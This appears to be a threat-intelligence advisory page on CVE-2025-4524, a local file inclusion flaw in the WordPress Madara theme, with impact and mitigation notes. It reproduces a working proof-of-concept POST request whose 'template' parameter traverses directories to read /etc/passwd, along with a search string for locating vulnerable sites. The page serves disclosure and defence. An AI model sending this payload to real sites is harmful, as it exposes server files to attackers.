WordPress Madara - Local File Inclusion
WordPress Madara - Local File Inclusion
AI Analysis
Technical Summary
This vulnerability in the WordPress Madara theme is a local file inclusion (LFI) flaw identified as CVE-2025-4524. It is exploitable via a POST request to the admin-ajax.php endpoint with manipulated parameters, specifically the 'template' parameter, which allows directory traversal to include files from the server filesystem. The provided exploit code shows how an attacker can retrieve sensitive files like /etc/passwd by exploiting this flaw. No affected versions or official patches are currently documented in the provided data.
Potential Impact
Successful exploitation can lead to unauthorized disclosure of sensitive server files, potentially exposing system and configuration information. This information disclosure can facilitate further attacks or privilege escalation. However, there is no indication that this vulnerability is currently exploited in the wild.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, it is recommended to restrict access to the vulnerable admin-ajax.php endpoint and implement web application firewall (WAF) rules to detect and block attempts to exploit local file inclusion via the 'template' parameter in POST requests.
Indicators of Compromise
- exploit-code: # Exploit Title: WordPress Madara Local File Inclusion # Date: November 1, 2025 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: WordPress Theme Madara # Software Link: WordPress Theme Madara # Tested on: [OS / PHP / WordPress versions used in testing — e.g., Ubuntu 22.04, PHP 8.1, WP 6.4] # CVE: CVE-2025-4524 #Attack Vector body="/wp-content/plugins/madara/" #POC POST /wp-admin/admin-ajax.php HTTP/2 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 490 action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail
WordPress Madara - Local File Inclusion
Description
WordPress Madara - Local File Inclusion
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
This vulnerability in the WordPress Madara theme is a local file inclusion (LFI) flaw identified as CVE-2025-4524. It is exploitable via a POST request to the admin-ajax.php endpoint with manipulated parameters, specifically the 'template' parameter, which allows directory traversal to include files from the server filesystem. The provided exploit code shows how an attacker can retrieve sensitive files like /etc/passwd by exploiting this flaw. No affected versions or official patches are currently documented in the provided data.
Potential Impact
Successful exploitation can lead to unauthorized disclosure of sensitive server files, potentially exposing system and configuration information. This information disclosure can facilitate further attacks or privilege escalation. However, there is no indication that this vulnerability is currently exploited in the wild.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, it is recommended to restrict access to the vulnerable admin-ajax.php endpoint and implement web application firewall (WAF) rules to detect and block attempts to exploit local file inclusion via the 'template' parameter in POST requests.
Technical Details
- Edb Id
- 52487
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for WordPress Madara - Local File Inclusion
# Exploit Title: WordPress Madara Local File Inclusion # Date: November 1, 2025 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: WordPress Theme Madara # Software Link: WordPress Theme Madara # Tested on: [OS / PHP / WordPress versions used in testing — e.g., Ubuntu 22.04, PHP 8.1, WP 6.4] # CVE: CVE-2025-4524 #Attack Vector body="/wp-content/plugins/madara/" #POC POST /wp-admin/admin-ajax.php HTTP/2 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/2010... (705 more characters)
Threat ID: 69d4e432aaed68159a0d45a3
Added to database: 4/7/2026, 11:02:10 AM
Last enriched: 4/17/2026, 2:45:00 PM
Last updated: 5/21/2026, 9:43:50 PM
Views: 115
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